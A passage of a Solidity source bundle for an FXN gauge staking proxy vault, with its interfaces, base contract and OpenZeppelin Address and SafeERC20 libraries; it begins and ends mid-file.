function\n IFxUsd(fxusd).earn(gaugeAddress, _amount, address(this));\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //deposit into rebalance pool with base\n function depositBase(uint256 _amount, uint256 _minAmountOut) external onlyOwner nonReentrant{\n if(_amount > 0){\n address _baseToken = IFxnGauge(gaugeAddress).baseToken();\n\n //pull base from user\n IERC20(_baseToken).safeTransferFrom(msg.sender, address(this), _amount);\n\n IERC20(_baseToken).approve(fxusd, _amount);\n //stake using fxusd's earn function\n IFxUsd(fxusd).mintAndEarn(gaugeAddress, _amount, address(this), _minAmountOut);\n\n //return left over\n IERC20(_baseToken).safeTransfer(msg.sender, IERC20(_baseToken).balanceOf(address(this)) );\n }\n \n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw a staked position and return ftoken\n function withdraw(uint256 _amount) external onlyOwner nonReentrant{\n\n //withdraw ftoken directly to owner\n IFxnGauge(gaugeAddress).withdraw(_amount, owner);\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw a staked position and return fxusd\n function withdrawFxUsd(uint256 _amount) external onlyOwner nonReentrant{\n\n //wrap to fxusd and receive at owner(msg.sender)\n IFxUsd(fxusd).wrapFrom(gaugeAddress, _amount, msg.sender);\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //withdraw from rebalance pool(v2) and return underlying base\n function withdrawAsBase(uint256 _amount, address _fxfacet, address _fxconverter) external onlyOwner nonReentrant{\n\n //withdraw from rebase pool as underlying\n IFxFacetV2.ConvertOutParams memory params = IFxFacetV2.ConvertOutParams(_fxconverter,0,new uint256[](0));\n IFxFacetV2(_fxfacet).fxRebalancePoolWithdrawAs(params, gaugeAddress, _amount);\n\n //return left over\n address _baseToken = IFxnGauge(gaugeAddress).baseToken();\n IERC20(_baseToken).safeTransfer(msg.sender, IERC20(_baseToken).balanceOf(address(this)) );\n\n //checkpoint rewards\n _checkpointRewards();\n }\n\n //return earned tokens on staking contract and any tokens that are on this vault\n function earned() external override returns (address[] memory token_addresses, uint256[] memory total_earned) {\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //create array of rewards on gauge, rewards on extra reward contract, and fxn that is minted\n address _rewards = rewards;\n token_addresses = new address[](rewardTokens.length + IRewards(_rewards).rewardTokenLength());\n total_earned = new uint256[](rewardTokens.length + IRewards(_rewards).rewardTokenLength());\n\n //simulate claiming\n\n //claim other rewards on gauge to this address to tally\n IFxnGauge(gaugeAddress).claim(address(this),address(this));\n\n //get balance of tokens\n for(uint256 i = 0; i < rewardTokens.length; i++){\n token_addresses[i] = rewardTokens[i];\n if(rewardTokens[i] == fxn){\n //remove boost fee here as boosted fxn is distributed via extra rewards\n total_earned[i] = IERC20(fxn).balanceOf(address(this)) * (FEE_DENOMINATOR - IFeeRegistry(feeRegistry).totalFees()) / FEE_DENOMINATOR;\n }else{\n total_earned[i] = IERC20(rewardTokens[i]).balanceOf(address(this));\n }\n }\n\n //also add an extra rewards from convex's side\n IRewards.EarnedData[] memory extraRewards = IRewards(_rewards).claimableRewards(address(this));\n for(uint256 i = 0; i < extraRewards.length; i++){\n token_addresses[i+rewardTokens.length] = extraRewards[i].token;\n total_earned[i+rewardTokens.length] = extraRewards[i].amount;\n }\n }\n\n /*\n claim flow:\n mint fxn rewards directly to vault\n claim extra rewards directly to the owner\n calculate fees on fxn\n distribute fxn between owner and fee deposit\n */\n function getReward() external override{\n getReward(true);\n }\n\n //get reward with claim option.\n function getReward(bool _claim) public override{\n\n //claim\n if(_claim){\n //extras. rebalance pool will have fxn\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //transfer remaining tokens\n _transferTokens(rewardTokens);\n\n //extra rewards\n _processExtraRewards();\n }\n\n //get reward with claim option, as well as a specific token list to claim from convex extra rewards\n function getReward(bool _claim, address[] calldata _tokenList) external override{\n\n //claim\n if(_claim){\n //extras. rebalance pool will have fxn\n IFxnGauge(gaugeAddress).claim();\n }\n\n //process fxn fees\n _processFxn();\n\n //get list of reward tokens\n address[] memory rewardTokens = IFxnGauge(gaugeAddress).getActiveRewardTokens();\n\n //transfer remaining tokens\n _transferTokens(rewardTokens);\n\n //extra rewards\n _processExtraRewardsFilter(_tokenList);\n }\n\n //return any tokens in vault back to owner\n function transferTokens(address[] calldata _tokenList) external onlyOwner{\n //transfer tokens back to owner\n //fxn and gauge tokens are skipped\n _transferTokens(_tokenList);\n }\n\n\n function _checkExecutable(address _address) internal override{\n super._checkExecutable(_address);\n\n //require shutdown for calls to withdraw role contracts\n if(IFxUsd(gaugeAddress).hasRole(keccak256(\"WITHDRAW_FROM_ROLE\"), _address)){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n }\n}\n"
},
"/contracts/interfaces/IRewards.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IRewards{\n struct EarnedData {\n address token;\n uint256 amount;\n }\n enum RewardState{\n NotInitialized,\n NoRewards,\n Active\n }\n \n function initialize(uint256 _pid, bool _startActive) external;\n function addReward(address _rewardsToken, address _distributor) external;\n function approveRewardDistributor(\n address _rewardsToken,\n address _distributor,\n bool _approved\n ) external;\n function deposit(address _owner, uint256 _amount) external;\n function withdraw(address _owner, uint256 _amount) external;\n function getReward(address _forward) external;\n function getRewardFilter(address _forward, address[] calldata _tokens) external;\n function notifyRewardAmount(address _rewardsToken, uint256 _reward) external;\n function balanceOf(address account) external view returns (uint256);\n function claimableRewards(address _account) external view returns(EarnedData[] memory userRewards);\n function rewardTokens(uint256 _rid) external view returns (address);\n function rewardTokenLength() external view returns(uint256);\n function rewardState() external view returns(RewardState);\n}"
},
"/contracts/interfaces/IProxyVault.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IProxyVault {\n\n enum VaultType{\n Erc20Basic,\n RebalancePool\n }\n\n function vaultType() external view returns(VaultType);\n function vaultVersion() external view returns(uint256);\n function initialize(address _owner, uint256 _pid) external;\n function pid() external returns(uint256);\n function usingProxy() external returns(address);\n function owner() external returns(address);\n function gaugeAddress() external returns(address);\n function stakingToken() external returns(address);\n function rewards() external returns(address);\n function getReward() external;\n function getReward(bool _claim) external;\n function getReward(bool _claim, address[] calldata _rewardTokenList) external;\n function earned() external returns (address[] memory token_addresses, uint256[] memory total_earned);\n}"
},
"/contracts/interfaces/IPoolRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IPoolRegistry {\n function poolLength() external view returns(uint256);\n function poolInfo(uint256 _pid) external view returns(address, address, address, address, uint8);\n function vaultMap(uint256 _pid, address _user) external view returns(address vault);\n function addUserVault(uint256 _pid, address _user) external returns(address vault, address stakeAddress, address stakeToken, address rewards);\n function deactivatePool(uint256 _pid) external;\n function addPool(address _implementation, address _stakingAddress, address _stakingToken) external;\n function setRewardActiveOnCreation(bool _active) external;\n function setRewardImplementation(address _imp) external;\n}"
},
"/contracts/interfaces/IFxnTokenMinter.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\n// solhint-disable func-name-mixedcase\ninterface IFxnTokenMinter {\n function token() external view returns (address);\n\n function controller() external view returns (address);\n\n function minted(address user, address gauge) external view returns (uint256);\n\n function mint(address gauge_addr) external;\n\n function mint_many(address[8] memory gauges) external;\n\n function mint_for(address gauge, address _for) external;\n\n function toggle_approve_mint(address _user) external;\n}"
},
"/contracts/interfaces/IFxnGauge.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxnGauge{\n\n //basics\n function stakingToken() external view returns(address);\n function totalSupply() external view returns(uint256);\n function workingSupply() external view returns(uint256);\n function workingBalanceOf(address _account) external view returns(uint256);\n function deposit(uint256 _amount) external;\n function deposit(uint256 _amount, address _receiver) external;\n function withdraw(uint256 _amount) external;\n function withdraw(uint256 _amount, address _receiver) external;\n function user_checkpoint(address _account) external returns (bool);\n function balanceOf(address _account) external view returns(uint256);\n function integrate_fraction(address account) external view returns (uint256);\n function baseToken() external view returns(address);\n function asset() external view returns(address);\n function market() external view returns(address);\n\n //weight sharing\n function toggleVoteSharing(address _staker) external;\n function acceptSharedVote(address _newOwner) external;\n function rejectSharedVote() external;\n function getStakerVoteOwner(address _account) external view returns (address);\n function numAcceptedStakers(address _account) external view returns (uint256);\n function sharedBalanceOf(address _account) external view returns (uint256);\n function veProxy() external view returns(address);\n\n //rewards\n function rewardData(address _token) external view returns(uint96 queued, uint80 rate, uint40 lastUpdate, uint40 finishAt);\n function getActiveRewardTokens() external view returns (address[] memory _rewardTokens);\n function rewardReceiver(address account) external view returns (address);\n function setRewardReceiver(address _newReceiver) external;\n function claim() external;\n function claim(address account) external;\n function claim(address account, address receiver) external;\n function getBoostRatio(address _account) external view returns (uint256);\n function depositReward(address _token, uint256 _amount) external;\n function voteOwnerBalances(address _account) external view returns(uint112 product, uint104 amount, uint40 updateAt);\n}\n"
},
"/contracts/interfaces/IFxUsd.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxUsd{\n\n function wrap(\n address _baseToken,\n uint256 _amount,\n address _receiver\n ) external;\n\n function wrapFrom(\n address _pool,\n uint256 _amount,\n address _receiver\n ) external;\n\n function mint(\n address _baseToken,\n uint256 _amountIn,\n address _receiver,\n uint256 _minOut\n ) external returns (uint256 _amountOut);\n\n\n function earn(\n address _pool,\n uint256 _amount,\n address _receiver\n ) external;\n\n function mintAndEarn(\n address _pool,\n uint256 _amountIn,\n address _receiver,\n uint256 _minOut\n ) external returns (uint256 _amountOut);\n\n function hasRole(bytes32 role, address account) external view returns (bool);\n}\n"
},
"/contracts/interfaces/IFxFacetV2.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.0;\n\ninterface IFxFacetV2{\n\n struct ConvertOutParams {\n address converter;\n uint256 minOut;\n uint256[] routes;\n }\n\n function fxRebalancePoolWithdraw(address _pool, uint256 _amountIn) external payable returns (uint256 _amountOut);\n function fxRebalancePoolWithdrawAs(\n ConvertOutParams memory _params,\n address _pool,\n uint256 _amountIn\n ) external payable returns (uint256 _amountOut);\n}\n"
},
"/contracts/interfaces/IFeeRegistry.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\ninterface IFeeRegistry{\n function cvxfxnIncentive() external view returns(uint256);\n function cvxIncentive() external view returns(uint256);\n function platformIncentive() external view returns(uint256);\n function totalFees() external view returns(uint256);\n function maxFees() external view returns(uint256);\n function feeDeposit() external view returns(address);\n function getFeeDepositor(address _from) external view returns(address);\n}"
},
"/contracts/boosting/StakingProxyBase.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.10;\n\nimport \"../interfaces/IProxyVault.sol\";\nimport \"../interfaces/IFeeRegistry.sol\";\nimport \"../interfaces/IFxnGauge.sol\";\nimport \"../interfaces/IFxnTokenMinter.sol\";\nimport \"../interfaces/IRewards.sol\";\nimport \"../interfaces/IPoolRegistry.sol\";\nimport '@openzeppelin/contracts/token/ERC20/IERC20.sol';\nimport '@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol';\n\n/*\nBase class for vaults\n\n*/\ncontract StakingProxyBase is IProxyVault{\n using SafeERC20 for IERC20;\n\n address public constant fxn = address(0x365AccFCa291e7D3914637ABf1F7635dB165Bb09);\n address public constant vefxnProxy = address(0xd11a4Ee017cA0BECA8FA45fF2abFe9C6267b7881);\n address public immutable feeRegistry;\n address public immutable poolRegistry;\n address public immutable fxnMinter;\n\n address public owner; //owner of the vault\n address public gaugeAddress; //gauge contract\n address public stakingToken; //staking token\n address public rewards; //extra rewards on convex\n address public usingProxy; //address of proxy being used\n uint256 public pid;\n\n uint256 public constant FEE_DENOMINATOR = 10000;\n\n constructor(address _poolRegistry, address _feeRegistry, address _fxnminter){\n poolRegistry = _poolRegistry;\n feeRegistry = _feeRegistry;\n fxnMinter = _fxnminter;\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender, \"!auth\");\n _;\n }\n\n modifier onlyAdmin() {\n require(vefxnProxy == msg.sender, \"!auth_admin\");\n _;\n }\n\n //vault type\n function vaultType() external virtual pure returns(VaultType){\n return VaultType.Erc20Basic;\n }\n\n //vault version\n function vaultVersion() external virtual pure returns(uint256){\n return 1;\n }\n\n //initialize vault\n function initialize(address _owner, uint256 _pid) public virtual{\n require(owner == address(0),\"already init\");\n owner = _owner;\n pid = _pid;\n\n //get pool info\n (,gaugeAddress, stakingToken, rewards,) = IPoolRegistry(poolRegistry).poolInfo(_pid);\n }\n\n //set what veFXN proxy this vault is using\n function setVeFXNProxy(address _proxy) external virtual onlyAdmin{\n //set the vefxn proxy\n _setVeFXNProxy(_proxy);\n }\n\n //set veFXN proxy the vault is using. call acceptSharedVote to start sharing vefxn proxy's boost\n function _setVeFXNProxy(address _proxyAddress) internal{\n //set proxy address on staking contract\n IFxnGauge(gaugeAddress).acceptSharedVote(_proxyAddress);\n if(_proxyAddress == vefxnProxy){\n //reset back to address 0 to default to convex's proxy, dont write if not needed.\n if(usingProxy != address(0)){\n usingProxy = address(0);\n }\n }else{\n //write non-default proxy address\n usingProxy = _proxyAddress;\n }\n }\n\n //get rewards and earned are type specific. extend in child class\n function getReward() external virtual{}\n function getReward(bool _claim) external virtual{}\n function getReward(bool _claim, address[] calldata _rewardTokenList) external virtual{}\n function earned() external virtual returns (address[] memory token_addresses, uint256[] memory total_earned){}\n\n\n //checkpoint and add/remove weight to convex rewards contract\n function _checkpointRewards() internal{\n //if rewards are active, checkpoint\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //get user balance from the gauge\n uint256 userLiq = IFxnGauge(gaugeAddress).balanceOf(address(this));\n //get current balance of reward contract\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n if(userLiq >= bal){\n //add the difference to reward contract\n IRewards(_rewards).deposit(owner, userLiq - bal);\n }else{\n //remove the difference from the reward contract\n IRewards(_rewards).withdraw(owner, bal - userLiq);\n }\n }\n }\n\n //apply fees to fxn and send remaining to owner\n function _processFxn() internal{\n\n //get fee rate from fee registry (only need to know total, let deposit contract disperse itself)\n uint256 totalFees = IFeeRegistry(feeRegistry).totalFees();\n\n //send fxn fees to fee deposit\n uint256 fxnBalance = IERC20(fxn).balanceOf(address(this));\n uint256 sendAmount = fxnBalance * totalFees / FEE_DENOMINATOR;\n if(sendAmount > 0){\n //get deposit address for given proxy (address 0 will be handled by fee registry to return default convex proxy)\n IERC20(fxn).transfer(IFeeRegistry(feeRegistry).getFeeDepositor(usingProxy), sendAmount);\n }\n\n //transfer remaining fxn to owner\n sendAmount = IERC20(fxn).balanceOf(address(this));\n if(sendAmount > 0){\n IERC20(fxn).transfer(owner, sendAmount);\n }\n }\n\n //get extra rewards (convex side)\n function _processExtraRewards() internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getReward(owner);\n }\n }\n\n //get extra rewards (convex side) with a filter list\n function _processExtraRewardsFilter(address[] calldata _tokens) internal{\n address _rewards = rewards;\n if(IRewards(_rewards).rewardState() == IRewards.RewardState.Active){\n //update reward balance if this is the first call since reward contract activation:\n //check if no balance recorded yet and set staked balance\n //dont use _checkpointRewards since difference of 0 will still call deposit()\n //as well as it will check rewardState twice\n uint256 bal = IRewards(_rewards).balanceOf(address(this));\n uint256 gaugeBalance = IFxnGauge(gaugeAddress).balanceOf(address(this));\n if(bal == 0 && gaugeBalance > 0){\n //set balance to gauge.balanceof(this)\n IRewards(_rewards).deposit(owner,gaugeBalance);\n }\n\n //get the rewards\n IRewards(_rewards).getRewardFilter(owner,_tokens);\n }\n }\n\n //transfer other reward tokens besides fxn(which needs to have fees applied)\n //also block gauge tokens from being transfered out\n function _transferTokens(address[] memory _tokens) internal{\n //transfer all tokens\n for(uint256 i = 0; i < _tokens.length; i++){\n //dont allow fxn (need to take fee)\n //dont allow gauge token transfer\n if(_tokens[i] != fxn && _tokens[i] != gaugeAddress){\n uint256 bal = IERC20(_tokens[i]).balanceOf(address(this));\n if(bal > 0){\n IERC20(_tokens[i]).safeTransfer(owner, bal);\n }\n }\n }\n }\n\n function _checkExecutable(address _address) internal virtual{\n require(_address != fxn && _address != stakingToken && _address != rewards, \"!invalid target\");\n }\n\n //allow arbitrary calls. some function signatures and targets are blocked\n function execute(\n address _to,\n uint256 _value,\n bytes calldata _data\n ) external onlyOwner returns (bool, bytes memory) {\n //fully block fxn, staking token(lp etc), and rewards\n _checkExecutable(_to);\n\n //only calls to staking(gauge) address if pool is shutdown\n if(_to == gaugeAddress){\n (, , , , uint8 shutdown) = IPoolRegistry(poolRegistry).poolInfo(pid);\n require(shutdown == 0,\"!shutdown\");\n }\n\n (bool success, bytes memory result) = _to.call{value:_value}(_data);\n require(success, \"!success\");\n return (success, result);\n }\n}\n"
},
"@openzeppelin/contracts/utils/Address.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary Address {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but also transferring `value` wei to `target`.\n *\n * Requirements:\n *\n * - the calling contract must have an ETH balance of at least `value`.\n * - the called Solidity function must be `payable`.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\n return functionCallWithValue(target, data, value, \"Address: low-level call with value failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\n * with `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\n return functionStaticCall(target, data, \"Address: low-level static call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a static call.\n *\n * _Available since v3.3._\n */\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionDelegateCall(target, data, \"Address: low-level delegate call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\n * but performing a delegate call.\n *\n * _Available since v3.4._\n */\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n return verifyCallResultFromTarget(target, success, returndata, errorMessage);\n }\n\n /**\n * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling\n * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.\n *\n * _Available since v4.8._\n */\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n // only check isContract if the call was successful and the return data is empty\n // otherwise we already know that it was a contract\n require(isContract(target), \"Address: call to non-contract\");\n }\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n /**\n * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the\n * revert reason or using the provided one.\n *\n * _Available since v4.3._\n */\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(bytes memory returndata, string memory errorMessage) private pure {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n /// @solidity memory-safe-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\nimport \"../extensions/IERC20Permit.sol\";\nimport \"../../../utils/Address.sol\";\n\n/**\n * @title SafeERC20\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\n * contract returns false). Tokens that return no value (and instead revert or\n * throw on failure) are also supported, non-reverting calls are assumed to be\n * successful.\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\n */\nlibrary SafeERC20 {\n using Address for address;\n\n /**\n * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\n }\n\n /**\n * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the\n * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful.\n */\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\n }\n\n /**\n * @dev Deprecated. This function has issues similar to the ones found in\n * {IERC20-approve}, and its usage is discouraged.\n *\n * Whenever possible, use {safeIncreaseAllowance} and\n * {safeDecreaseAllowance} instead.\n */\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\n // safeApprove should only be called when setting an initial allowance,\n // or when resetting it to zero. To increase and decrease it, use\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\n }\n\n /**\n * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n uint256 oldAllowance = token.allowance(address(this), spender);\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value));\n }\n\n /**\n * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful.\n */\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\n unchecked {\n uint256 oldAllowance = token.allowance(address(this), spender);\n require(oldAllowance >= value, \"SafeERC20: decreased allowance below zero\");\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value));\n }\n }\n\n /**\n * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value,\n * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval\n * to be set to zero before setting it to a non-zero value, such as USDT.\n */\n function forceApprove(IERC20 token, address spender, uint256 value) internal {\n bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value);\n\n if (!_callOptionalReturnBool(token, approvalCall)) {\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));\n _callOptionalReturn(token, approvalCall);\n }\n }\n\n /**\n * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on `token`.\n * Revert on invalid signature.\n */\n function safePermit(\n IERC20Permit token,\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal {\n uint256 nonceBefore = token.nonces(owner);\n token.permit(owner, spender, value, deadline, v, r, s);\n uint256 nonceAfter = token.nonces(owner);\n require(nonceAfter == nonceBefore + 1, \"SafeERC20: permit did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n */\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that\n // the target address contains contract code and also asserts for success in the low-level call.\n\n bytes memory returndata = address(token).functionCall(data, \"SafeERC20: low-level call failed\");\n require(returndata.length == 0 || abi.decode(returndata, (bool)), \"SafeERC20: ERC20 operation did not succeed\");\n }\n\n /**\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\n * on the return value: the return value is optional (but if data is returned, it must not be false).\n * @param token The token targeted by the call.\n * @param data The call data (encoded using abi.encode or one of its variants).\n *\n * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead.\n */\n function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) {\n // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since\n // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false\n // and not revert is the subcall reverts.\n\n (bool success, bytes memory returndata) = address(token).call(data);\n return\n success && (returndata.length == 0 || abi.decode(returndata, (bool))) && Address.isContract(address(token));\n }\n}\n"
},
"@openzeppelin/contracts/token/ERC20/extensions/IERC20Permit.sol": {
